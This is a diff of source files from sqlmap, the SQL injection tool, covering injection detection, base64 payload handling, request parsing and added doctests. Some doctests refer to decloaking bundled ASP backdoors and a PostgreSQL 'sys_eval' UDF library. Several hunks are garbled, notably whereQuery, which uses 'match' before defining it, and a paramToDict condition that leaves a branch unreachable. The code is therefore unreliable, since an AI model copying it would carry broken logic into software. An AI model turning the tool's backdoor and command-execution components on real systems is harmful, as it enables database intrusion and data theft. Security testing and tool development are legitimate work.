+        print("[i] running HTTP server at 'http://%s:%d'" % (address, port))
        _server.serve_forever()
    except KeyboardInterrupt:
        _server.socket.close()
--- a/lib/controller/checks.py
+++ b/lib/controller/checks.py
@@ -501,12 +501,13 @@ def checkSqlInjection(place, parameter, value):
                            # Useful to set kb.matchRatio at first based on False response content
                            kb.matchRatio = None
                            kb.negativeLogic = (where == PAYLOAD.WHERE.NEGATIVE)
                            suggestion = None
                            Request.queryPage(genCmpPayload(), place, raise404=False)
                            falsePage, falseHeaders, falseCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode
                            falseRawResponse = "%s%s" % (falseHeaders, falsePage)
                            # Checking if there is difference between current FALSE, original and heuristics page (i.e. not used parameter)
-                            if not kb.negativeLogic:
+                            if not any((kb.negativeLogic, conf.string, conf.notString)):
                                try:
                                    ratio = 1.0
                                    seqMatcher = getCurrentThreadData().seqMatcher
@@ -568,7 +569,7 @@ def checkSqlInjection(place, parameter, value):
                                            candidates = sorted(candidates, key=len)
                                            for candidate in candidates:
                                                if re.match(r"\A[\w.,! ]+\Z", candidate) and ' ' in candidate and candidate.strip() and len(candidate) > CANDIDATE_SENTENCE_MIN_LENGTH:
-                                                    conf.string = candidate
+                                                    suggestion = conf.string = candidate
                                                    injectable = True
                                                    infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.string).lstrip('u').strip("'"))
@@ -579,7 +580,7 @@ def checkSqlInjection(place, parameter, value):
                            if injectable:
                                if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
                                    if all((falseCode, trueCode)) and falseCode != trueCode:
-                                        conf.code = trueCode
+                                        suggestion = conf.code = trueCode
                                        infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --code=%d)" % ("%s " % paramType if paramType != parameter else "", parameter, title, conf.code)
                                        logger.info(infoMsg)
@@ -604,7 +605,7 @@ def checkSqlInjection(place, parameter, value):
                                                if re.match(r"\A\w{2,}\Z", candidate):  # Note: length of 1 (e.g. --string=5) could cause trouble, especially in error message pages with partially reflected payload content
                                                    break
-                                            conf.string = candidate
+                                            suggestion = conf.string = candidate
                                            infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.string).lstrip('u').strip("'"))
                                            logger.info(infoMsg)
@@ -618,12 +619,12 @@ def checkSqlInjection(place, parameter, value):
                                                    if re.match(r"\A\w+\Z", candidate):
                                                        break
-                                                conf.notString = candidate
+                                                suggestion = conf.notString = candidate
                                                infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --not-string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.notString).lstrip('u').strip("'"))
                                                logger.info(infoMsg)
-                                if not any((conf.string, conf.notString, conf.code)):
+                                if not suggestion:
                                    infoMsg = "%sparameter '%s' appears to be '%s' injectable " % ("%s " % paramType if paramType != parameter else "", parameter, title)
                                    singleTimeLogMessage(infoMsg)
@@ -939,6 +940,9 @@ def checkFalsePositives(injection):
                if conf.string and any(conf.string in getUnicode(_) for _ in (randInt1, randInt2, randInt3)):
                    continue
                if conf.notString and any(conf.notString in getUnicode(_) for _ in (randInt1, randInt2, randInt3)):
                    continue
                if randInt3 > randInt2 > randInt1:
                    break
@@ -1577,7 +1581,7 @@ def checkConnection(suppressOutput=False):
        kb.originalPage = kb.pageTemplate = threadData.lastPage
        kb.originalCode = threadData.lastCode
-    if conf.cj and not conf.cookie and not conf.dropSetCookie:
+    if conf.cj and not conf.cookie and not any(_[0] == HTTP_HEADER.COOKIE for _ in conf.httpHeaders) and not conf.dropSetCookie:
        candidate = DEFAULT_COOKIE_DELIMITER.join("%s=%s" % (_.name, _.value) for _ in conf.cj)
        message = "you have not declared cookie(s), while "
--- a/lib/controller/controller.py
+++ b/lib/controller/controller.py
@@ -336,6 +336,10 @@ def start():
                        conf.httpHeaders.append((header, value))
                        break
            if conf.data:
                # Note: explicitly URL encode __ ASP(.NET) parameters (e.g. to avoid problems with Base64 encoded '+' character) - standard procedure in web browsers
                conf.data = re.sub(r"\b(__\w+)=([^&]+)", lambda match: "%s=%s" % (match.group(1), urlencode(match.group(2), safe='%')), conf.data)
            conf.httpHeaders = [conf.httpHeaders[i] for i in xrange(len(conf.httpHeaders)) if conf.httpHeaders[i][0].upper() not in (__[0].upper() for __ in conf.httpHeaders[i + 1:])]
            initTargetEnv()
@@ -382,7 +386,7 @@ def start():
                    message += "\nCookie: %s" % conf.cookie
                if conf.data is not None:
-                    message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "") is None else conf.data)
+                    message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "") is None else conf.data)
                if conf.forms and conf.method:
                    if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1:
--- a/lib/core/agent.py
+++ b/lib/core/agent.py
@@ -42,6 +42,7 @@ from lib.core.enums import PAYLOAD
 from lib.core.enums import PLACE
 from lib.core.enums import POST_HINT
 from lib.core.exception import SqlmapNoneDataException
 from lib.core.settings import BOUNDED_BASE64_MARKER
 from lib.core.settings import BOUNDARY_BACKSLASH_MARKER
 from lib.core.settings import BOUNDED_INJECTION_MARKER
 from lib.core.settings import DEFAULT_COOKIE_DELIMITER
@@ -172,22 +173,30 @@ class Agent(object):
            newValue = "%s%s" % (value, newValue)
-        newValue = self.cleanupPayload(newValue, origValue)
+        newValue = self.cleanupPayload(newValue, origValue) or ""
        if base64Encoding:
            _newValue = newValue
            _origValue = origValue
            if newValue:
                newValue = newValue.replace(BOUNDARY_BACKSLASH_MARKER, '\\')
                newValue = self.adjustLateValues(newValue)
            # TODO: support for POST_HINT
-            newValue = encodeBase64(newValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
+            newValue = "%s%s%s" % (BOUNDED_BASE64_MARKER, newValue, BOUNDED_BASE64_MARKER)
-            origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
+
            if parameter in kb.base64Originals:
                origValue = kb.base64Originals[parameter]
            else:
                origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
        if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
            _ = "%s%s" % (origValue, kb.customInjectionMark)
            if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and '"%s"' % _ not in paramString:
                newValue = '"%s"' % self.addPayloadDelimiters(newValue)
-            elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and "'%s'" % _ not in paramString:
+            elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and re.search(r"['\"]%s['\"]" % re.escape(_), paramString) is None:
                newValue = "'%s'" % self.addPayloadDelimiters(newValue)
            else:
                newValue = self.addPayloadDelimiters(newValue)
@@ -389,6 +398,10 @@ class Agent(object):
        """
        if payload:
            for match in re.finditer(r"%s(.*?)%s" % (BOUNDED_BASE64_MARKER, BOUNDED_BASE64_MARKER), payload):
                _ = encodeBase64(match.group(1), binary=False, encoding=conf.encoding or UNICODE_ENCODING, safe=conf.base64Safe)
                payload = payload.replace(match.group(0), _)
            payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec))
            payload = payload.replace(SINGLE_QUOTE_MARKER, "'")
@@ -420,7 +433,7 @@ class Agent(object):
        rootQuery = queries[Backend.getIdentifiedDbms()]
        hexField = field
-        if "hex" in rootQuery:
+        if "hex" in rootQuery and hasattr(rootQuery.hex, "query"):
            hexField = rootQuery.hex.query % field
        else:
            warnMsg = "switch '--hex' is currently not supported on DBMS '%s'" % Backend.getIdentifiedDbms()
@@ -1194,12 +1207,15 @@ class Agent(object):
    def whereQuery(self, query):
        if conf.dumpWhere and query:
-            match = re.search(r" (LIMIT|ORDER).+", query, re.I)
+            if Backend.isDbms(DBMS.ORACLE) and re.search("qq ORDER BY \w+\)", query, re.I) is not None:
-            if match:
+                prefix, suffix = re.sub(r"(?i)(qq)( ORDER BY \w+\))", r"\g<1> WHERE %s\g<2>" % conf.dumpWhere, query), ""
                suffix = match.group(0)
                prefix = query[:-len(suffix)]
            else:
-                prefix, suffix = query, ""
+                match = re.search(r" (LIMIT|ORDER).+", query, re.I)
                if match:
                    suffix = match.group(0)
                    prefix = query[:-len(suffix)]
                else:
                    prefix, suffix = query, ""
            if conf.tbl and "%s)" % conf.tbl.upper() in prefix.upper():
                prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix)
--- a/lib/core/bigarray.py
+++ b/lib/core/bigarray.py
@@ -10,11 +10,11 @@ try:
 except:
    import pickle
 import bz2
 import itertools
 import os
 import sys
 import tempfile
 import zlib
 from lib.core.compat import xrange
 from lib.core.enums import MKSTEMP_PREFIX
@@ -24,17 +24,17 @@ from lib.core.settings import BIGARRAY_COMPRESS_LEVEL
 DEFAULT_SIZE_OF = sys.getsizeof(object())
-def _size_of(object_):
+def _size_of(instance):
    """
-    Returns total size of a given object_ (in bytes)
+    Returns total size of a given instance / object (in bytes)
    """
-    retval = sys.getsizeof(object_, DEFAULT_SIZE_OF)
+    retval = sys.getsizeof(instance, DEFAULT_SIZE_OF)
-    if isinstance(object_, dict):
+    if isinstance(instance, dict):
-        retval += sum(_size_of(_) for _ in itertools.chain.from_iterable(object_.items()))
+        retval += sum(_size_of(_) for _ in itertools.chain.from_iterable(instance.items()))
-    elif hasattr(object_, "__iter__"):
+    elif hasattr(instance, "__iter__"):
-        retval += sum(_size_of(_) for _ in object_ if _ != object_)
+        retval += sum(_size_of(_) for _ in instance if _ != instance)
    return retval
@@ -54,8 +54,8 @@ class BigArray(list):
    >>> _ = BigArray(xrange(100000))
    >>> _[20] = 0
-    >>> _[100]
+    >>> _[99999]
-    100
+    99999
    """
    def __init__(self, items=None):
@@ -92,7 +92,7 @@ class BigArray(list):
            self.chunks.pop()
            try:
                with open(self.chunks[-1], "rb") as f:
-                    self.chunks[-1] = pickle.loads(bz2.decompress(f.read()))
+                    self.chunks[-1] = pickle.loads(zlib.decompress(f.read()))
            except IOError as ex:
                errMsg = "exception occurred while retrieving data "
                errMsg += "from a temporary file ('%s')" % ex
@@ -113,7 +113,7 @@ class BigArray(list):
            self.filenames.add(filename)
            os.close(handle)
            with open(filename, "w+b") as f:
-                f.write(bz2.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL))
+                f.write(zlib.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL))
            return filename
        except (OSError, IOError) as ex:
            errMsg = "exception occurred while storing data "
@@ -131,7 +131,7 @@ class BigArray(list):
        if not (self.cache and self.cache.index == index):
            try:
                with open(self.chunks[index], "rb") as f:
-                    self.cache = Cache(index, pickle.loads(bz2.decompress(f.read())), False)
+                    self.cache = Cache(index, pickle.loads(zlib.decompress(f.read())), False)
            except Exception as ex:
                errMsg = "exception occurred while retrieving data "
                errMsg += "from a temporary file ('%s')" % ex
--- a/lib/core/common.py
+++ b/lib/core/common.py
@@ -58,6 +58,7 @@ from lib.core.convert import getText
 from lib.core.convert import getUnicode
 from lib.core.convert import htmlUnescape
 from lib.core.convert import stdoutEncode
 from lib.core.data import cmdLineOptions
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
@@ -116,6 +117,7 @@ from lib.core.settings import DEFAULT_COOKIE_DELIMITER
 from lib.core.settings import DEFAULT_GET_POST_DELIMITER
 from lib.core.settings import DEFAULT_MSSQL_SCHEMA
 from lib.core.settings import DEV_EMAIL_ADDRESS
 from lib.core.settings import DOLLAR_MARKER
 from lib.core.settings import DUMMY_USER_INJECTION
 from lib.core.settings import DYNAMICITY_BOUNDARY_LENGTH
 from lib.core.settings import ERROR_PARSING_REGEXES
@@ -629,7 +631,8 @@ def paramToDict(place, parameters=None):
                if parameter in (conf.base64Parameter or []):
                    try:
-                        oldValue = value
+                        kb.base64Originals[parameter] = oldValue = value
                        value = urldecode(value, convall=True)
                        value = decodeBase64(value, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
                        parameters = re.sub(r"\b%s(\b|\Z)" % re.escape(oldValue), value, parameters)
                    except:
@@ -675,17 +678,21 @@ def paramToDict(place, parameters=None):
                                    elif isinstance(current, dict):
                                        for key in current.keys():
                                            value = current[key]
-                                            if isinstance(value, (list, tuple, set, dict)):
+                                            if isinstance(value, (bool, int, float, six.string_types)) or value in (None, []):
                                                if value:
                                                    walk(head, value)
                                            elif isinstance(value, (bool, int, float, six.string_types)):
                                                original = current[key]
                                                if isinstance(value, bool):
                                                    current[key] = "%s%s" % (getUnicode(value).lower(), BOUNDED_INJECTION_MARKER)
                                                elif value is None:
                                                    current[key] = "%s%s" % (randomInt(), BOUNDED_INJECTION_MARKER)
                                                elif value == []:
                                                    current[key] = ["%s%s" % (randomInt(), BOUNDED_INJECTION_MARKER)]
                                                else:
                                                    current[key] = "%s%s" % (value, BOUNDED_INJECTION_MARKER)
                                                candidates["%s (%s)" % (parameter, key)] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), r"\g<1>%s" % json.dumps(deserialized, separators=(',', ':') if ", " not in testableParameters[parameter] else None), parameters)
                                                current[key] = original
                                            elif isinstance(value, (list, tuple, set, dict)):
                                                if value:
                                                    walk(head, value)
                                deserialized = json.loads(testableParameters[parameter])
                                walk(deserialized)
@@ -943,28 +950,31 @@ def setColor(message, color=None, bold=False, level=None, istty=None):
    retVal = message
-    if message and (IS_TTY or istty) and not conf.get("disableColoring"):  # colorizing handler
+    if message:
-        if level is None:
+        if (IS_TTY or istty) and not conf.get("disableColoring"):  # colorizing handler
-            levels = re.findall(r"\[(?P<result>%s)\]" % '|'.join(_[0] for _ in getPublicTypeMembers(LOGGING_LEVELS)), message)
+            if level is None:
                levels = re.findall(r"\[(?P<result>%s)\]" % '|'.join(_[0] for _ in getPublicTypeMembers(LOGGING_LEVELS)), message)
-            if len(levels) == 1:
+                if len(levels) == 1:
-                level = levels[0]
+                    level = levels[0]
-        if bold or color:
+            if bold or color:
-            retVal = colored(message, color=color, on_color=None, attrs=("bold",) if bold else None)
+                retVal = colored(message, color=color, on_color=None, attrs=("bold",) if bold else None)
-        elif level:
+            elif level:
-            try:
+                try:
-                level = getattr(logging, level, None)
+                    level = getattr(logging, level, None)
-            except:
+                except:
-                level = None
+                    level = None
-            retVal = LOGGER_HANDLER.colorize(message, level)
+                retVal = LOGGER_HANDLER.colorize(message, level)
-        else:
+            else:
-            match = re.search(r"\(([^)]*)\s*fork\)", message)
+                match = re.search(r"\(([^)]*)\s*fork\)", message)
-            if match:
+                if match:
-                retVal = retVal.replace(match.group(1), colored(match.group(1), color="lightgrey"))
+                    retVal = retVal.replace(match.group(1), colored(match.group(1), color="lightgrey"))
-            for match in re.finditer(r"([^\w])'([^\n']+)'", message):  # single-quoted (Note: watch-out for the banner)
+                for match in re.finditer(r"([^\w])'([^\n']+)'", message):  # single-quoted (Note: watch-out for the banner)
-                retVal = retVal.replace(match.group(0), "%s'%s'" % (match.group(1), colored(match.group(2), color="lightgrey")))
+                    retVal = retVal.replace(match.group(0), "%s'%s'" % (match.group(1), colored(match.group(2), color="lightgrey")))
        message = message.strip()
    return retVal
@@ -988,6 +998,12 @@ def dataToStdout(data, forceOutput=False, bold=False, contentType=None, status=C
    Writes text to the stdout (console) stream
    """
    if not IS_TTY and isinstance(data, six.string_types) and data.startswith("\r"):
        if re.search(r"\(\d+%\)", data):
            data = ""
        else:
            data = "\n%s" % data.strip("\r")
    if not kb.get("threadException"):
        if forceOutput or not (getCurrentThreadData().disableStdOut or kb.get("wizardMode")):
            multiThreadMode = isMultiThreadMode()
@@ -1036,6 +1052,16 @@ def dataToDumpFile(dumpFile, data):
            raise
 def dataToOutFile(filename, data):
    """
    Saves data to filename
    >>> pushValue(conf.get("filePath"))
    >>> conf.filePath = tempfile.gettempdir()
    >>> "_etc_passwd" in dataToOutFile("/etc/passwd", b":::*")
    True
    >>> conf.filePath = popValue()
    """
    retVal = None
    if data:
@@ -1261,7 +1287,7 @@ def checkPipedInput():
    # Reference: https://stackoverflow.com/a/33873570
    """
-    return not os.isatty(sys.stdin.fileno()) if hasattr(sys.stdin, "fileno") else False
+    return hasattr(sys.stdin, "fileno") and not os.isatty(sys.stdin.fileno())
 def isZipFile(filename):
    """
@@ -1333,7 +1359,7 @@ def banner():
    if not any(_ in sys.argv for _ in ("--version", "--api")) and not conf.get("disableBanner"):
        result = BANNER
-        if not IS_TTY or "--disable-coloring" in sys.argv:
+        if not IS_TTY or any(_ in sys.argv for _ in ("--disable-coloring", "--disable-colouring")):
            result = clearColors(result)
        elif IS_WIN:
            coloramainit()
@@ -1351,9 +1377,9 @@ def parsePasswordHash(password):
    >>> kb.forcedDbms = popValue()
    """
-    blank = " " * 8
+    blank = ' ' * 8
-    if isNoneValue(password) or password == " ":
+    if isNoneValue(password) or password == ' ':
        retVal = NULL
    else:
        retVal = password
@@ -1443,6 +1469,12 @@ def setPaths(rootPath):
    else:
        paths.SQLMAP_HOME_PATH = os.path.join(os.path.expandvars(os.path.expanduser("~")), ".sqlmap")
        if not os.path.isdir(paths.SQLMAP_HOME_PATH):
            if "XDG_DATA_HOME" in os.environ:
                paths.SQLMAP_HOME_PATH = os.path.join(os.environ["XDG_DATA_HOME"], "sqlmap")
            else:
                paths.SQLMAP_HOME_PATH = os.path.join(os.path.expandvars(os.path.expanduser("~")), ".local", "share", "sqlmap")
    paths.SQLMAP_OUTPUT_PATH = getUnicode(paths.get("SQLMAP_OUTPUT_PATH", os.path.join(paths.SQLMAP_HOME_PATH, "output")), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)
    paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
    paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")
@@ -1491,7 +1523,7 @@ def parseTargetDirect():
        if details:
            conf.dbms = details.group("dbms")
-            if details.group('credentials'):
+            if details.group("credentials"):
                conf.dbmsUser = details.group("user")
                conf.dbmsPass = details.group("pass")
            else:
@@ -1603,7 +1635,7 @@ def parseTargetUrl():
    originalUrl = conf.url
-    if re.search(r"\[.+\]", conf.url) and not socket.has_ipv6:
+    if re.search(r"://\[.+\]", conf.url) and not socket.has_ipv6:
        errMsg = "IPv6 communication is not supported "
        errMsg += "on this platform"
        raise SqlmapGenericException(errMsg)
@@ -1693,6 +1725,11 @@ def escapeJsonValue(value):
    Escapes JSON value (used in payloads)
    # Reference: https://stackoverflow.com/a/16652683
    >>> "\\n" in escapeJsonValue("foo\\nbar")
    False
    >>> "\\\\t" in escapeJsonValue("foo\\tbar")
    True
    """
    retVal = ""
@@ -1867,6 +1904,12 @@ def getLocalIP():
 def getRemoteIP():
    """
    Get remote/target IP address
    >>> pushValue(conf.hostname)
    >>> conf.hostname = "localhost"
    >>> getRemoteIP() == "127.0.0.1"
    True
    >>> conf.hostname = popValue()
    """
    retVal = None
@@ -1993,6 +2036,9 @@ def normalizePath(filepath):
 def safeFilepathEncode(filepath):
    """
    Returns filepath in (ASCII) format acceptable for OS handling (e.g. reading)
    >>> 'sqlmap' in safeFilepathEncode(paths.SQLMAP_HOME_PATH)
    True
    """
    retVal = filepath
@@ -2199,6 +2245,15 @@ def isHexEncodedString(subject):
 def isMultiThreadMode():
    """
    Checks if running in multi-thread(ing) mode
    >>> isMultiThreadMode()
    False
    >>> _ = lambda: time.sleep(0.1)
    >>> thread = threading.Thread(target=_)
    >>> thread.daemon = True
    >>> thread.start()
    >>> isMultiThreadMode()
    True
    """
    return threading.activeCount() > 1
@@ -2207,6 +2262,9 @@ def isMultiThreadMode():
 def getConsoleWidth(default=80):
    """
    Returns console width
    >>> any((getConsoleWidth(), True))
    True
    """
    width = None
@@ -2413,6 +2471,9 @@ def initCommonOutputs():
 def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, unique=False):
    """
    Returns newline delimited items contained inside file
    >>> "SELECT" in getFileItems(paths.SQL_KEYWORDS)
    True
    """
    retVal = list() if not unique else OrderedDict()
@@ -2519,8 +2580,8 @@ def goGoodSamaritan(prevValue, originalCharset):
 def getPartRun(alias=True):
    """
-    Goes through call stack and finds constructs matching conf.dbmsHandler.*.
+    Goes through call stack and finds constructs matching
-    Returns it or its alias used in 'txt/common-outputs.txt'
+    conf.dbmsHandler.*. Returns it or its alias used in 'txt/common-outputs.txt'
    """
    retVal = None
@@ -2846,6 +2907,8 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False):
    result = None if value is None else ""
    if value:
        value = re.sub(r"\b[$\w]+=", lambda match: match.group(0).replace('$', DOLLAR_MARKER), value)
        if Backend.isDbms(DBMS.MSSQL) and not kb.tamperFunctions and any(ord(_) > 255 for _ in value):
            warnMsg = "if you experience problems with "
            warnMsg += "non-ASCII identifier names "
@@ -2880,6 +2943,8 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False):
        if spaceplus:
            result = result.replace(_urllib.parse.quote(' '), '+')
        result = result.replace(DOLLAR_MARKER, '$')
    return result
 def runningAsAdmin():
@@ -3256,7 +3321,7 @@ def parseSqliteTableSchema(value):
    Parses table column names and types from specified SQLite table schema
    >>> kb.data.cachedColumns = {}
-    >>> parseSqliteTableSchema("CREATE TABLE users\\n\\t\\tid INTEGER\\n\\t\\tname TEXT\\n);")
+    >>> parseSqliteTableSchema("CREATE TABLE users(\\n\\t\\tid INTEGER,\\n\\t\\tname TEXT\\n);")
    True
    >>> repr(kb.data.cachedColumns).count(',') == 1
    True
@@ -3268,9 +3333,9 @@ def parseSqliteTableSchema(value):
        table = {}
        columns = {}
-        for match in re.finditer(r"(\w+)[\"'`]?\s+(INT|INTEGER|TINYINT|SMALLINT|MEDIUMINT|BIGINT|UNSIGNED BIG INT|INT2|INT8|INTEGER|CHARACTER|VARCHAR|VARYING CHARACTER|NCHAR|NATIVE CHARACTER|NVARCHAR|TEXT|CLOB|LONGTEXT|BLOB|NONE|REAL|DOUBLE|DOUBLE PRECISION|FLOAT|REAL|NUMERIC|DECIMAL|BOOLEAN|DATE|DATETIME|NUMERIC)\b", decodeStringEscape(value), re.I):
+        for match in re.finditer(r"[(,]\s*[\"'`]?(\w+)[\"'`]?(?:\s+(INT|INTEGER|TINYINT|SMALLINT|MEDIUMINT|BIGINT|UNSIGNED BIG INT|INT2|INT8|INTEGER|CHARACTER|VARCHAR|VARYING CHARACTER|NCHAR|NATIVE CHARACTER|NVARCHAR|TEXT|CLOB|LONGTEXT|BLOB|NONE|REAL|DOUBLE|DOUBLE PRECISION|FLOAT|REAL|NUMERIC|DECIMAL|BOOLEAN|DATE|DATETIME|NUMERIC)\b)?", decodeStringEscape(value), re.I):
            retVal = True
-            columns[match.group(1)] = match.group(2)
+            columns[match.group(1)] = match.group(2) or "TEXT"
        table[safeSQLIdentificatorNaming(conf.tbl, True)] = columns
        kb.data.cachedColumns[conf.db] = table
@@ -3367,7 +3432,7 @@ def setOptimize():
    # conf.predictOutput = True
    conf.keepAlive = True
-    conf.threads = 3 if conf.threads < 3 else conf.threads
+    conf.threads = 3 if conf.threads < 3 and cmdLineOptions.threads is None else conf.threads
    conf.nullConnection = not any((conf.data, conf.textOnly, conf.titles, conf.string, conf.notString, conf.regexp, conf.tor))
    if not conf.nullConnection:
@@ -4104,24 +4169,25 @@ def safeSQLIdentificatorNaming(name, isTable=False):
        # Note: SQL 92 has restrictions for identifiers starting with underscore (e.g. http://www.frontbase.com/documentation/FBUsers_4.pdf)
        if retVal.upper() in kb.keywords or (not isTable and (retVal or " ")[0] == '_') or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), retVal):  # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal)
-            retVal = unsafeSQLIdentificatorNaming(retVal)
+            if not conf.noEscape:
                retVal = unsafeSQLIdentificatorNaming(retVal)
-            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE):  # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
+                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE):  # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
-                retVal = "`%s`" % retVal
+                    retVal = "`%s`" % retVal
-            elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE):
+                elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE):
-                retVal = "\"%s\"" % retVal
+                    retVal = "\"%s\"" % retVal
-            elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
+                elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
-                retVal = "\"%s\"" % retVal.upper()
+                    retVal = "\"%s\"" % retVal.upper()
-            elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
+                elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
-                if isTable:
+                    if isTable:
-                    parts = retVal.split('.', 1)
+                        parts = retVal.split('.', 1)
-                    for i in xrange(len(parts)):
+                        for i in xrange(len(parts)):
-                        if parts[i] and (re.search(r"\A\d|[^\w]", parts[i], re.U) or parts[i].upper() in kb.keywords):
+                            if parts[i] and (re.search(r"\A\d|[^\w]", parts[i], re.U) or parts[i].upper() in kb.keywords):
-                            parts[i] = "[%s]" % parts[i]
+                                parts[i] = "[%s]" % parts[i]
-                    retVal = '.'.join(parts)
+                        retVal = '.'.join(parts)
-                else:
+                    else:
-                    if re.search(r"\A\d|[^\w]", retVal, re.U) or retVal.upper() in kb.keywords:
+                        if re.search(r"\A\d|[^\w]", retVal, re.U) or retVal.upper() in kb.keywords:
-                        retVal = "[%s]" % retVal
+                            retVal = "[%s]" % retVal
        if _ and DEFAULT_MSSQL_SCHEMA not in retVal and '.' not in re.sub(r"\[[^]]+\]", "", retVal):
            retVal = "%s.%s" % (DEFAULT_MSSQL_SCHEMA, retVal)
@@ -4708,7 +4774,7 @@ def serializeObject(object_):
    """
    Serializes given object
-    >>> type(serializeObject([1, 2, 3, ('a', 'b')])) == six.binary_type
+    >>> type(serializeObject([1, 2, 3, ('a', 'b')])) == str
    True
    """
@@ -4938,6 +5004,14 @@ def decloakToTemp(filename):
    >>> openFile(_, "rb", encoding=None).read().startswith(b'<%')
    True
    >>> os.remove(_)
    >>> _ = decloakToTemp(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.asp_"))
    >>> openFile(_, "rb", encoding=None).read().startswith(b'<%')
    True
    >>> os.remove(_)
    >>> _ = decloakToTemp(os.path.join(paths.SQLMAP_UDF_PATH, "postgresql", "linux", "64", "11", "lib_postgresqludf_sys.so_"))
    >>> b'sys_eval' in openFile(_, "rb", encoding=None).read()
    True
    >>> os.remove(_)
    """
    content = decloak(filename)
@@ -4971,6 +5045,12 @@ def getRequestHeader(request, name):
    Solving an issue with an urllib2 Request header case sensitivity
    # Reference: http://bugs.python.org/issue2275
    >>> _ = lambda _: _
    >>> _.headers = {"FOO": "BAR"}
    >>> _.header_items = lambda: _.headers.items()
    >>> getText(getRequestHeader(_, "foo"))
    'BAR'
    """
    retVal = None
@@ -5068,6 +5148,13 @@ def pollProcess(process, suppress_errors=False):
 def parseRequestFile(reqFile, checkParams=True):
    """
    Parses WebScarab and Burp logs and adds results to the target URL list
    >>> handle, reqFile = tempfile.mkstemp(suffix=".req")
    >>> content = b"POST / HTTP/1.0\\nUser-agent: foobar\\nHost: www.example.com\\n\\nid=1\\n"
    >>> _ = os.write(handle, content)
    >>> os.close(handle)
    >>> next(parseRequestFile(reqFile)) == ('http://www.example.com:80/', 'POST', 'id=1', None, (('User-agent', 'foobar'), ('Host', 'www.example.com')))
    True
    """
    def _parseWebScarabLog(content):
@@ -5210,7 +5297,7 @@ def parseRequestFile(reqFile, checkParams=True):
                        params = True
                    # Avoid proxy and connection type related headers
-                    elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION):
+                    elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION, HTTP_HEADER.IF_MODIFIED_SINCE, HTTP_HEADER.IF_NONE_MATCH):
                        headers.append((getUnicode(key), getUnicode(value)))
                    if kb.customInjectionMark in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or ""):
--- a/lib/core/convert.py
+++ b/lib/core/convert.py
@@ -48,16 +48,16 @@ def base64pickle(value):
    retVal = None
    try:
